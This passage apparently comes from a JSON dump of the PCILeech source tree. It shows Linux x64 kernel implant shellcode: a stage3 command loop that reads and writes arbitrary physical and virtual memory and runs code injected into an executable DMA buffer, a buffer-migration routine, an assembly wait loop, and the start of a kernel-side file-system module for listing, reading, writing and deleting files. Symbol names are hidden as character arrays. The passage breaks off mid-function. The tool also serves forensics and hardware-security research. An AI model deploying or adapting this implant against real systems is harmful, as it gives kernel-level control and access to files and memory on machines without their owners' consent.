LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)pfn);\n    if(!pfn->do_gettimeofday) {\n        pfn->do_gettimeofday = pfn->ktime_get_real_ts64;\n    }\n\tif(!pfn->do_gettimeofday) {\n\t\tpfn->do_gettimeofday = pfn->getnstimeofday64;\n\t}\n    for(i = 0; i < 10; i++) {\n        if(!*(((PQWORD)pfn) + i)) {\n            return FALSE;\n        }\n    }\n    return TRUE;\n}\n\n/*\n* Free a struct page* buffer.\n*/\nVOID FreePageBuffer(PKMDDATA pk, QWORD pg, QWORD order)\n{\n\tQWORD pa, va, cb;\n\tif(!pg) {\n\t\treturn;\n\t}\n\tpa = m_page_to_phys(pk->AddrKallsymsLookupName, pg);\n\tif(!pa) {\n\t\treturn;\n\t}\n\tva = m_phys_to_virt(pk->AddrKallsymsLookupName, pa);\n\tif(!va) {\n\t\treturn;\n\t}\n\tif(pk->fn.memset) {\n        cb = (1ULL << order) << 12;\n\t\tif(pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx) {\n\t\t\t// W^X\n\t\t\tSysVCall(pk->fn.set_memory_nx, va, cb);\n\t\t}\n\t\tif(pk->fn.set_memory_rw) {\n\t\t\tSysVCall(pk->fn.set_memory_rw, va, cb);\n\t\t}\n\t\tSysVCall(pk->fn.memset, va, 0, cb);\n\t}\n\tSysVCall(pk->fn.__free_pages, pg, order);\n}\n\n/*\n* Free DMA buffer previously allocated with AllocateDmaLargeBuffer (if exists)\n*/\nVOID FreeDmaLargeBuffer(PKMDDATA pk)\n{\n    QWORD p_platdev = pk->ReservedKMD[4];\n\tpk->ReservedKMD[4] = 0;\n\tif(pk->fn.dma_free_attrs && p_platdev) {\n\t\tSysVCall(pk->fn.dma_free_attrs, p_platdev + 0x10, pk->DMASizeBuffer, pk->DMAAddrVirtual, pk->DMAAddrPhysical, 0);\n        if(pk->fn.platform_device_put) {\n            SysVCall(pk->fn.platform_device_put, p_platdev);\n        }\n\t}\n}\n\n/*\n* Tries to allocate 2MB contigious DMA memory.\n*/\nQWORD AllocateDmaLargeBuffer(PKMDDATA pk)\n{\n\tCHAR device[] = { 'd', 'e', 'v', 0 };\n\tQWORD p_platdev, p_dev, vaDMA, paDMA;\n\tif(!pk->fn.platform_device_alloc || !pk->fn.platform_device_add || !pk->fn.dma_alloc_attrs) {\n\t\treturn 0;\n\t}\n\tp_platdev = SysVCall(pk->fn.platform_device_alloc, device, (QWORD)-1);\n\tif(!p_platdev) {\n\t\treturn 0;\n\t}\n\t//SysVCall(pk->fn.platform_device_add, p_platdev);\n\tp_dev = p_platdev + 0x10;\n\tvaDMA = SysVCall(pk->fn.dma_alloc_attrs, p_dev, 0x00200000, &paDMA, (QWORD)0xcc4, 0);\n\tif(!vaDMA || !paDMA) {\n\t\treturn 0;\n\t}\n\tpk->DMASizeBuffer = 0x00200000;\n\tpk->DMAAddrPhysical = paDMA;\n\tpk->DMAAddrVirtual = vaDMA;\n\tpk->ReservedKMD[4] = p_platdev;\n\treturn 1;\n}\n\n/*\n* Free DMA buffer previously allocated with AllocateDmaLargeBuffer (if exists)\n*/\nVOID FreePageLargeBuffer(PKMDDATA pk)\n{\n    QWORD pg = pk->ReservedKMD[3];\n\tpk->ReservedKMD[3] = 0;\n    if(pg) {\n\t\tFreePageBuffer(pk, pg, 9);\n\t}\n}\n\n/*\n* Tries to allocate 2MB contigious memory using alloc_pages\n*/\nQWORD AllocatePageLargeBuffer(PKMDDATA pk)\n{\n\tQWORD pg, pa, va;\n\tpg = SysVCall(pk->fn.alloc_pages_current, 0xcc4, 9);\n\tif(!pg) {\n\t\treturn 0;\n\t}\n\tpa = m_page_to_phys(pk->AddrKallsymsLookupName, pg);\n\tif(!pa) {\n\t\treturn 0;\n\t}\n    va = m_phys_to_virt(pk->AddrKallsymsLookupName, pa);\n\tif(!va) {\n\t\treturn 0;\n\t}\n\tpk->DMASizeBuffer = 0x00200000;\n\tpk->DMAAddrPhysical = pa;\n\tpk->DMAAddrVirtual = va;\n\tpk->ReservedKMD[3] = pg;\n\treturn 1;\n}\n\n/*\n* Free the large buffer irrespective of allocation type.\n*/\nVOID FreeLargeBuffer(PKMDDATA pk)\n{\n    FreeDmaLargeBuffer(pk);\n    FreePageLargeBuffer(pk);\n\tpk->DMAAddrPhysical = 0;\n\tpk->DMAAddrVirtual = 0;\n}\n\n/*\n* Allocate a large 2MB buffer for DMA operations using either dma_alloc_coherent or alloc_pages.\n*/\nQWORD AllocateLargeBuffer(PKMDDATA pk)\n{\n    return AllocateDmaLargeBuffer(pk) || AllocatePageLargeBuffer(pk);\n}\n\n\n\n// ------------------------------------------------------\n// TRY BUFFER MIGRATION FROM INITIAL 'alloc_pages' BUFFER\n// TO A NEW 'dma_alloc_coherent' BUFFER.\n// ------------------------------------------------------\n\n/*\n* Free the original 2-page buffer if execution is migrated.\n*/\nVOID TryMigrate_FreeOriginalBuffer(PKMDDATA pk)\n{\n\tQWORD fMigrated, pg;\n    pg = pk->ReservedKMD[1];\n\tpk->ReservedKMD[1] = 0;\n    fMigrated = pk->ReservedKMD[2];\n\tif(pg && fMigrated) {\n\t\tFreePageBuffer(pk, pg, 1);\n\t}\n    \n}\n\n/*\n* Try to allocate DMA memory for the migrated main pcileech buffer\n* (KMDDATA + stage3 shellcode). A dummy platform device is allocated\n* (but not added) for this purpose. Leak the platform device allocation.\n*/\nQWORD TryMigrate_AllocateMemoryDmaSmall(PKMDDATA pk, QWORD *paDMA)\n{\n\tCHAR device[] = { 'd', 'e', 'v', 0 };\n\tQWORD p_platdev, p_dev, vaDMA;\n\tif(!pk->fn.platform_device_alloc || !pk->fn.platform_device_add || !pk->fn.dma_alloc_attrs) {\n\t\treturn 0;\n\t}\n\tp_platdev = SysVCall(pk->fn.platform_device_alloc, device, (QWORD)-1);\n\tif(!p_platdev) {\n\t\treturn 0;\n\t}\n\t//SysVCall(pk->fn.platform_device_add, p_platdev);\n\tp_dev = p_platdev + 0x10;\n\tvaDMA = SysVCall(pk->fn.dma_alloc_attrs, p_dev, 0x2000, paDMA, (QWORD)0xcc4, 0);\n\treturn vaDMA;\n}\n\n/*\n* Entry point for buffer migration to new more correct dma buffer.\n* If migration fail, the shellcode execution will continue in the old buffer.\n*/\nQWORD stage3_c_TryMigrateEntryPoint(PKMDDATA pk)\n{\n    QWORD o, vaDMA1 = 0, vaDMA2 = 0, paDMA2 = 0;\n\t// 1: lookup functions:\n\tif(!LookupFunctionsEx(pk)) {\n\t\treturn 0;\n\t}\n    // 2: check if we can set memory rox/rw/nx - we can't migrate due to high risk of a bugcheck.\n\tif(pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx) {\n\n\t\treturn 0;\n\t}\n\t// 3: allocate new 2-page dma buffer:\n    vaDMA2 = TryMigrate_AllocateMemoryDmaSmall(pk, &paDMA2);\n    if(!vaDMA2 || !paDMA2) {\n\t\treturn 0;\n    }\n    // 4: copy data from old buffer to new buffer:\n\tvaDMA1 = (QWORD)pk;\n    for(o = 0; o < 0x2000; o += 8) {\n        *(PQWORD)(vaDMA2 + o) = *(PQWORD)(vaDMA1 + o);\n    }\n\t// 5: set new buffer (+0x1000) as executable:\n    if(pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx) {\n\t\t// W^X\n        SysVCall(pk->fn.set_memory_rox, vaDMA2 + 0x1000, 1);\n\t} else {\n\t\tSysVCall(pk->fn.set_memory_x, vaDMA2 + 0x1000, 1);\n\t}\n\t// 6: return to let the shellcode continue migration:\n\tpk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_MIGRATE | paDMA2;\n\tpk->MAGIC = 0x0ff11337711333377;\n\tpk->_status = 0xf0000001;\n\tpk->_op = KMD_CMD_COMPLETED;\n\treturn (vaDMA2 - vaDMA1);\n}\n\n\n\n// ------------------------------------------------------\n// MAIN EXECUTION LOOP BELOW:\n// ------------------------------------------------------\n\n// status:\n//     1: ready for command\n//     2: processing\n//     f0000000: terminated\n//     f0000000+: error\n// op: - see KMD_CMD defines\n// result:\n//    0: FALSE\n//    1: TRUE\n// address:\n//    physical base address for memory operation\n// size:\n//    size of memory operation\nVOID stage3_c_EntryPoint(PKMDDATA pk)\n{\n\tBOOL fROX;\n\tQWORD qwMM, qw;\n\tTIMEVAL timeLast, timeCurrent;\n\t// 1: set up symbols and kmd data\n\tpk->MAGIC = 0x0ff11337711333377;\n\tpk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_LINUX;\n\tif(!LookupFunctionsEx(pk)) {\n\t\tpk->_status = 0xf0000001;\n\t\treturn;\n\t}\n\tfROX = pk->fn.set_memory_rox && pk->fn.set_memory_rw && pk->fn.set_memory_nx;\n\t// 2: allocate memory\n\tif(!AllocateLargeBuffer(pk)) {\n\t\tpk->_status = 0xf0000002;\n\t\treturn;\n\t}\n\tif(!fROX) {\n\t\tSysVCall(pk->fn.set_memory_x, pk->DMAAddrVirtual, pk->DMASizeBuffer / 4096);\n\t}\n\t// 3: main dump loop\n\tSysVCall(pk->fn.do_gettimeofday, &timeLast);\n\twhile(TRUE) {\n\t\tpk->_status = 1;\n\t\tSysVCall(pk->fn.schedule); // kernel yield - avoid stuck thread\n\t\tif(KMD_CMD_COMPLETED == pk->_op) { // NOP\n\t\t\tSysVCall(pk->fn.do_gettimeofday, &timeCurrent);\n\t\t\tif(timeCurrent.tv_sec > timeLast.tv_sec + 5) {\n\t\t\t\tSysVCall(pk->fn.msleep, 100); // sleep after 5 seconds\n\t\t\t}\n\t\t\tcontinue;\n\t\t}\n\t\tpk->_status = 2;\n\t\tif(KMD_CMD_TERMINATE == pk->_op) { // EXIT\n\t\t\tpk->_status = 0xf0000000;\n\t\t\tFreeLargeBuffer(pk);\n\t\t\tpk->_result = TRUE;\n\t\t\tpk->MAGIC = 0;\n\t\t\tpk->_op = KMD_CMD_COMPLETED;\n\t\t\treturn;\n\t\t}\n\t\tif(KMD_CMD_MEM_INFO == pk->_op) { // INFO (physical section map)\n\t\t\t// mem info is usually called upon initialization,\n\t\t\t// in the case of a buffer migration we piggy-back\n\t\t\t// to clean up the old allocation here.\n            if(pk->ReservedKMD[1] && pk->ReservedKMD[2]) {\n                TryMigrate_FreeOriginalBuffer(pk);\n            }\n\t\t\tif(pk->fn.walk_system_ram_range) {\n\t\t\t\tpk->_size = 0;\n\t\t\t\tpk->_result = (0 == SysVCall(pk->fn.walk_system_ram_range, 0, ~0UL, pk, callback_walk_system_ram_range));\n\t\t\t} else {\n\t\t\t\tpk->_result = FALSE;\n\t\t\t}\n\t\t\tCacheFlush();\n\t\t}\n\t\tif(KMD_CMD_EXEC == pk->_op) { // EXEC at start of buffer\n\t\t\tif(fROX) {\n\t\t\t\tSysVCall(pk->fn.set_memory_rox, pk->DMAAddrVirtual, 0x80);\n\t\t\t}\n\t\t\t((VOID(*)(PKMDDATA pk, PQWORD dataIn, PQWORD dataOut))pk->DMAAddrVirtual)(pk, pk->dataIn, pk->dataOut);\n\t\t\tpk->_result = TRUE;\n\t\t\tif(fROX) {\n\t\t\t\tSysVCall(pk->fn.set_memory_nx, pk->DMAAddrVirtual, 0x80);\n\t\t\t\tSysVCall(pk->fn.set_memory_rw, pk->DMAAddrVirtual, 0x80);\n\t\t\t}\n\t\t}\n\t\tif(KMD_CMD_READ == pk->_op || KMD_CMD_WRITE == pk->_op) { // PHYSICAL MEMORY READ/WRITE\n\t\t\t// qw :: 0 [all in range], 1 [some in range], 0xffffffff [none in range]\n\t\t\tqw = SysVCall(pk->fn.walk_system_ram_range, pk->_address >> 12, pk->_size >> 12, pk, callback_ismemread_inrange);\n\t\t\tif(qw == 1) {\n\t\t\t\tpk->_result = FALSE;\n\t\t\t} else {\n\t\t\t\tqwMM = (qw == 0) ?\n\t\t\t\t\tm_phys_to_virt(pk->AddrKallsymsLookupName, pk->_address) :\n\t\t\t\t\tSysVCall(pk->fn.ioremap, pk->_address, pk->_size);\n\t\t\t\tif(qwMM) {\n\t\t\t\t\tif(KMD_CMD_READ == pk->_op) { // READ\n\t\t\t\t\t\tSysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, qwMM, pk->_size);\n\t\t\t\t\t} else { // WRITE\n\t\t\t\t\t\tSysVCall(pk->fn.memcpy, qwMM, pk->DMAAddrVirtual, pk->_size);\n\t\t\t\t\t}\n\t\t\t\t\tif(qw) {\n\t\t\t\t\t\tSysVCall(pk->fn.iounmap, qwMM);\n\t\t\t\t\t}\n\t\t\t\t\tpk->_result = TRUE;\n\t\t\t\t} else {\n\t\t\t\t\tpk->_result = FALSE;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(KMD_CMD_READ_VA == pk->_op) { // READ Virtual Address\n\t\t\tSysVCall(pk->fn.memcpy, pk->DMAAddrVirtual, pk->_address, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif(KMD_CMD_WRITE_VA == pk->_op) { // WRITE Virtual Address\n\t\t\tSysVCall(pk->fn.memcpy, pk->_address, pk->DMAAddrVirtual, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tpk->_op = KMD_CMD_COMPLETED;\n\t\tSysVCall(pk->fn.do_gettimeofday, &timeLast);\n\t}\n}\n"
  },
  {
    "path": "pcileech_shellcode/lx64_stage3_pre.asm",
    "content": "; lx64_stage3_pre.asm : assembly wait loop to wait for continue when executable code exists after.\n; Compatible with Linux x64.\n;\n; (c) Ulf Frisk, 2016\n; Author: Ulf Frisk, pcileech@frizk.net\n;\n\n.CODE\n\nmain PROC\n\tlabel_main_base:\t\n\tJMP label_main_loop\n\tstr_msleep db 'msleep', 0\n\tlabel_main_loop:\n\tLEA rdi, str_msleep\n\tLEA rax, label_main_base-1000h+10h\t\t; KMDDATA.AddrKallsymsLookupName\n\tMOV rax, [rax]\n\tCALL rax\n\tMOV rdi, 100\n\tCALL rax\n\tLEA rax, label_main_base-8h\n\tMOV rax, [rax]\n\tCMP rax, 0\n\tJZ label_main_loop\nmain ENDP\n\n; -----------------------------------------------------------------------------\n; This code compiles into 53 bytes. This is copied by\n; stage3 area by the setup function.\n; Linux cannot use the simpler windows stage3 pre code\n; since the thread will get stuck without a sleep.\n; -----------------------------------------------------------------------------\n\nEND\n"
  },
  {
    "path": "pcileech_shellcode/lx64_vfs.c",
    "content": "// lx64_vfs.c : kernel code to support the PCILeech file system.\n// Compatible with Linux x64.\n//\n// (c) Ulf Frisk, 2017-2021\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel lx64_vfs.c\n// ml64 lx64_common_a.asm /Felx64_vfs.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main lx64_vfs.obj lx64_common.obj\n// shellcode64.exe -o lx64_vfs.exe\n// \n\n#include \"lx64_common.h\"\n\n//-----------------------------------------------------------------------------\n// Core defines and typedefs shared between kernel implants and pcileech.\n//-----------------------------------------------------------------------------\n\n#define VFS_OP_MAGIC\t\t\t\t0x79e720ad93aa130f\n#define VFS_OP_CMD_LIST_DIRECTORY\t1\n#define VFS_OP_CMD_WRITE\t\t\t2\n#define VFS_OP_CMD_READ\t\t\t\t3\n#define VFS_OP_CMD_CREATE\t\t\t4\n#define VFS_OP_CMD_DELETE\t\t\t5\n\n#define VFS_FLAGS_FILE_NORMAL\t\t0x01\n#define VFS_FLAGS_FILE_DIRECTORY\t0x02\n#define VFS_FLAGS_FILE_SYMLINK\t\t0x04\n#define VFS_FLAGS_FILE_OTHER\t\t0x08\n#define VFS_FLAGS_UNICODE\t\t\t0x10\n#define VFS_FLAGS_EXIST_FILE\t\t0x20\n#define VFS_FLAGS_TRUNCATE_ON_WRITE\t0x40\n#define VFS_FLAGS_APPEND_ON_WRITE\t0x80\n\ntypedef struct tdVFS_OPERATION {\n\tQWORD magic;\n\tQWORD op;\n\tQWORD flags;\n\tCHAR szFileName[MAX_PATH];\n\tWCHAR wszFileName[MAX_PATH];\n\tQWORD offset;\n\tQWORD cb;\n\tBYTE pb[];\n} VFS_OPERATION, *PVFS_OPERATION;\n\ntypedef struct tdVFS_RESULT_FILEINFO {\n\tQWORD flags;\n\tQWORD tAccessOpt;\n\tQWORD tModifyOpt;\n\tQWORD tCreateOpt;\n\tQWORD dbg1;\n\tQWORD dbg2;\n\tQWORD cb;\n\tWCHAR wszFileName[MAX_PATH];\n} VFS_RESULT_FILEINFO, *PVFS_RESULT_FILEINFO;\n\n//-----------------------------------------------------------------------------\n// Other required defines and typedefs.\n//-----------------------------------------------------------------------------\n\n#define O_RDONLY\t\t\t00000000\n#define O_WRONLY\t\t\t00000001\n#define O_CREAT\t\t\t\t00000100\n#define O_TRUNC\t\t\t\t00001000\n#define O_APPEND\t\t\t00002000\n#define O_DIRECTORY\t\t\t00200000\n#define O_NOATIME\t\t\t01000000\n\n#define DT_UNKNOWN\t\t\t0\n#define DT_FIFO\t\t\t\t1\n#define DT_CHR\t\t\t\t2\n#define DT_DIR\t\t\t\t4\n#define DT_BLK\t\t\t\t6\n#define DT_REG\t\t\t\t8\n#define DT_LNK\t\t\t\t10\n#define DT_SOCK\t\t\t\t12\n#define DT_WHT\t\t\t\t14\n\n#define AT_FDCWD\t\t\t-100\n#define AT_NO_AUTOMOUNT\t\t0x800\n#define STATX_BASIC_STATS\t0x000007ffU\n\n\nstruct timespec {\n\tQWORD\ttv_sec;\t\t// seconds\n\tQWORD\ttv_nsec;\t// nanoseconds\n};\n\n// kstat struct - kernels 4.10 and earlier.\nstruct kstat_4_10 {\n\tQWORD\tino;\n\tDWORD\tdev;\n\tDWORD\tmode;\n\tDWORD\tnlink;\n\tDWORD\tuid;\n\tDWORD\tgid;\n\tDWORD\trdev;\n\tQWORD\tsize;\t// offset 0x20\n\tstruct timespec atime;\n\tstruct timespec mtime;\n\tstruct timespec ctime;\n\tQWORD\tblksize;\n\tQWORD\tblocks;\n\tQWORD\t_pcileech_dummy_extra[2];\n};\n\n// kstat struct - kernels 4.11 and later.\nstruct kstat_4_11 {\n\tDWORD\tresult_mask;\n\tDWORD\tmode;\n\tDWORD\tnlink;\n\tDWORD\tblksize;\n\tQWORD\tattributes;\n\tQWORD\tattributes_mask;\n\tQWORD\tino;\n\tDWORD\tdev;\n\tDWORD\trdev;\n\tDWORD\tuid;\n\tDWORD\tgid;\n\tQWORD\tsize;\n\tstruct timespec atime;\n\tstruct timespec mtime;\n\tstruct timespec ctime;\n\tstruct timespec btime;\n\tQWORD\tblocks;\n\tQWORD\t_pcileech_dummy_extra[4];\n};\n\n//-----------------------------------------------------------------------------\n// Functions below.\n//-----------------------------------------------------------------------------\n\ntypedef struct tdFN2 {\n\tQWORD memcpy;\n\tQWORD memset;\n\tQWORD filp_close;\n\tQWORD filp_open;\n\tQWORD vfs_read;\n\tQWORD vfs_write;\n\tQWORD yield;\n\tQWORD iterate_dir_opt;\n\tQWORD vfs_readdir_opt;\n\tQWORD vfs_stat_opt;\n\tQWORD vfs_statx_opt;\n    struct {\n        QWORD sys_unlink;\n        QWORD getname;\n\t\tQWORD getname_kernel;\n        QWORD do_unlinkat;\n    } rm;\n\tQWORD kern_path_opt;\n\tQWORD path_put_opt;\n\tQWORD vfs_getattr_nosec_opt;\n\tQWORD kernel_read;\n\tQWORD kernel_write;\n} FN2, *PFN2;\n\ntypedef struct tdDIR_CONTEXT {\n\tQWORD actor;\n\tQWORD pos;\n} DIR_CONTEXT;\n\ntypedef struct tdDIR_CONTEXT_EXTENDED {\n\tDIR_CONTEXT ctx;\n\tPKMDDATA pk;\n\tPFN2 fn;\n\tPVFS_OPERATION pop;\n\tQWORD buf[];\n} DIR_CONTEXT_EXTENDED, *PDIR_CONTEXT_EXTENDED;\n\nBOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {\n\tQWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)];\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'm', 'e', 'm', 'c', 'p', 'y', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'm', 'e', 'm', 's', 'e', 't', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'f', 'i', 'l', 'p', '_', 'c', 'l', 'o', 's', 'e', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'f', 'i', 'l', 'p', '_', 'o', 'p', 'e', 'n', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 'r', 'e', 'a', 'd', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'v', 'f', 's', '_', 'w', 'r', 'i', 't', 'e', 0 };\t\n\tNAMES[i++] = (QWORD)(CHAR[]) { 'y', 'i', 'e', 'l', 'd', 0 };\n\tif(!LookupFunctions(pk->AddrKallsymsLookupName, (QWORD)NAMES, (QWORD)pfn2, i)) { return FALSE; }\n\t// optional lookup 1#: (due to kernel version differences)\n\tpfn2->iterate_dir_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'i', 't', 'e', 'r', 'a', 't', 'e', '_', 'd', 'i', 'r', 0 }));\n\tpfn2->vfs_readdir_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 'r', 'e', 'a', 'd', 'd', 'i', 'r', 0 }));\n\tif(!pfn2->iterate_dir_opt && !pfn2->vfs_readdir_opt) { return FALSE; }\n\t// optional lookup 2#:\n\tpfn2->vfs_stat_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 0 }));\n\tpfn2->vfs_statx_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 'x', 0 }));\n\tif(!pfn2->vfs_stat_opt && !pfn2->vfs_statx_opt) { return FALSE; }\n\tpfn2->kern_path_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'k', 'e', 'r', 'n', '_', 'p', 'a', 't', 'h', 0 }));\n\tpfn2->path_put_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'p', 'a', 't', 'h', '_', 'p', 'u', 't', 0 }));\n\tpfn2->vfs_getattr_nosec_opt = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 'g', 'e', 't', 'a', 't', 't', 'r', '_', 'n', 'o', 's', 'e', 'c', 0 }));\n    // optional lookup #3\n    pfn2->rm.sys_unlink = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'v', 'f', 's', '_', 's', 't', 'a', 't', 0 }));\n    pfn2->rm.getname = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'g', 'e', 't', 'n', 'a', 'm', 'e', 0 }));\n\tpfn2->rm.getname_kernel = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'g', 'e', 't', 'n', 'a', 'm', 'e', '_', 'k', 'e', 'r', 'n', 'e', 'l', 0 }));\n    pfn2->rm.do_unlinkat = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'd', 'o', '_', 'u', 'n', 'l', 'i', 'n', 'k', 'a', 't', 0 }));\n\tif(!pfn2->rm.sys_unlink && !(pfn2->rm.getname && pfn2->rm.do_unlinkat)) { return FALSE; }\n\t// optional kernel vfs read/write #4:\n\tpfn2->kernel_read = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'k', 'e', 'r', 'n', 'e', 'l', '_', 'r', 'e', 'a', 'd', 0 }));\n\tpfn2->kernel_write = LOOKUP_FUNCTION(pk, ((CHAR[]) { 'k', 'e', 'r', 'n', 'e', 'l', '_', 'w', 'r', 'i', 't', 'e', 0 }));\n\treturn TRUE;\n}\n\nstatic int VfsList_CallbackIterateDir(PDIR_CONTEXT_EXTENDED ctx, const char *name, int len, unsigned __int64 pos, unsigned __int64 ino, unsigned int d_type)\n{\n\tUNREFERENCED_PARAMETER(ino);\n\tUNREFERENCED_PARAMETER(pos);\n\tQWORD i;\n\tPVFS_RESULT_FILEINFO pfi;\n\t// note: function signature of filldir_t signature changed from returning int\n\t// to returning bool in kernel 6.1. set_memory_rox was added in kernel 6.2 -\n\t// since this is close enough use it. For kernel 6.2 iterate will fail after\n\t// first item, but it's a small enough issue to ignore for now.\n\tint retval = ctx->pk->fnlx.set_memory_rox ? 1 : 0;\n\tif(ctx->pk->dataOutExtraLength + sizeof(VFS_RESULT_FILEINFO) > ctx->pk->dataOutExtraLengthMax) {\n\t\treturn retval;\n\t}\n\tpfi = (PVFS_RESULT_FILEINFO)(ctx->pk->DMAAddrVirtual + ctx->pk->dataOutExtraOffset + ctx->pk->dataOutExtraLength);\n\tswitch(d_type) {\n\t\tcase DT_REG:\n\t\t\tpfi->flags = VFS_FLAGS_FILE_NORMAL;\n\t\t\tbreak;\n\t\tcase DT_DIR:\n\t\t\tpfi->flags = VFS_FLAGS_FILE_DIRECTORY;\n\t\t\tbreak;\n\t\tcase DT_LNK:\n\t\t\tpfi->flags = VFS_FLAGS_FILE_SYMLINK;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tpfi->flags = VFS_FLAGS_FILE_OTHER;\n\t\t\tbreak;\n\t}\n\tfor(i = 0; (i < len) && (i < MAX_PATH - 1); i++) {\n\t\tpfi->wszFileName[i] = name[i];\n\t}\n\tpfi->wszFileName[i] = 0;\n\tctx->pk->dataOutExtraLength += sizeof(VFS_RESULT_FILEINFO);\n\treturn retval;\n}\n\nQWORD UnixToWindowsFiletime(QWORD tv) {\n\tQWORD result = 11644473600ULL; // EPOCH DIFF\n\tresult += tv;\n\tresult *= 10000000ULL;\n\treturn result;\n}\n\nVOID VfsList_SetSizeTime(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)\n{\n\tQWORD i, o, p, cfi, result;\n\tBYTE path[0x800];\n\tCHAR sz[2 * MAX_PATH];\n\tstruct kstat_4_10 kstat_4_10;\n\tstruct kstat_4_11 kstat_4_11;\n\tPVFS_RESULT_FILEINFO pfi;\n\tcfi = pk->dataOutExtraLength / sizeof(VFS_RESULT_FILEINFO);\n\tfor(o = 0; o < MAX_PATH; o++) {\n\t\tif(0 == pop->szFileName[o]) { break; }\n\t\tsz[o] = pop->szFileName[o];\n\t}\n\tif(o && (sz[o - 1] != '/')) {\n\t\tsz[o] = '/';\n\t\to++;\n\t}\n\tpk->dataOut[2] = cfi;\n\tfor(p = 0; p < cfi; p++) {\n\t\tpfi = (PVFS_RESULT_FILEINFO)(pk->DMAAddrVirtual + pk->dataOutExtraOffset + p * sizeof(VFS_RESULT_FILEINFO));\n\t\t// set filename\n\t\tfor(i = 0; i < MAX_PATH; i++) {\n\t\t\tif(0 == pfi->wszFileName[i]) { break; }\n\t\t\tsz[o + i] = (CHAR)pfi->wszFileName[i];\n\t\t}\n\t\tsz[o + i] = 0;\n\t\tif(pfn2->vfs_statx_opt) { // 4.11 kernels and later.\n\t\t\tresult = 1;\n\t\t\t// 5.12 kernels and later will fail vfs_statx - use alternative method first:\n\t\t\tif(pfn2->kern_path_opt && pfn2->vfs_getattr_nosec_opt) {\n\t\t\t\tresult = SysVCall(pfn2->kern_path_opt, sz, AT_NO_AUTOMOUNT, path);\n\t\t\t\tif(0 == result) {\n\t\t\t\t\tresult = SysVCall(pfn2->vfs_getattr_nosec_opt, path, &kstat_4_11, STATX_BASIC_STATS, 0);\n\t\t\t\t\tif(pfn2->path_put_opt) { SysVCall(pfn2->path_put_opt, path); }\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// This will fail on kernel 5.18 and later due to signature change of vfs_statx\n\t\t\t\tresult = SysVCall(pfn2->vfs_statx_opt, AT_FDCWD, sz, AT_NO_AUTOMOUNT, &kstat_4_11, STATX_BASIC_STATS);\n\t\t\t}\n\t\t\tif(0 == result) {\n\t\t\t\tpfi->cb = kstat_4_11.size;\n\t\t\t\tpfi->tAccessOpt = UnixToWindowsFiletime(kstat_4_11.atime.tv_sec);\n\t\t\t\tpfi->tCreateOpt = UnixToWindowsFiletime(kstat_4_11.ctime.tv_sec);\n\t\t\t\tpfi->tModifyOpt = UnixToWindowsFiletime(kstat_4_11.mtime.tv_sec);\n\t\t\t}\n\t\t} else if(pfn2->vfs_stat_opt) { // 4.10 kernels and earlier.\n\t\t\tresult = SysVCall(pfn2->vfs_stat_opt, sz, &kstat_4_10);\n\t\t\tif(0 == result) {\n\t\t\t\tpfi->cb = kstat_4_10.size;\n\t\t\t\tpfi->tAccessOpt = UnixToWindowsFiletime(kstat_4_10.atime.tv_sec);\n\t\t\t\tpfi->tCreateOpt = UnixToWindowsFiletime(kstat_4_10.ctime.tv_sec);\n\t\t\t\tpfi->tModifyOpt = UnixToWindowsFiletime(kstat_4_10.mtime.tv_sec);\n\t\t\t}\n\t\t}\n\t\tif(0 == (p % 50)) { SysVCall(pfn2->yield); } // yield at intervals to avoid problems...\n\t}\n}\n\nSTATUS VfsList(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)\n{\n\tDIR_CONTEXT_EXTENDED dce;\n\tQWORD hFile;\n\thFile = SysVCall(pfn2->filp_open, pop->szFileName, O_RDONLY | O_DIRECTORY | O_NOATIME, 0);\n\tif(hFile > 0xffffffff00000000) {\n\t\treturn STATUS_FAIL_FILE_CANNOT_OPEN;\n\t}\n\tWinCallSetFunction((QWORD)VfsList_CallbackIterateDir);\n\tdce.ctx.actor = (QWORD)WinCall;\n\tdce.ctx.pos = 0;\n\tdce.fn = pfn2;\n\tdce.pk = pk;\n\tdce.pop = pop;\n\tif(pfn2->iterate_dir_opt) {\n\t\t// use iterate_dir (kernel >= 3.11) 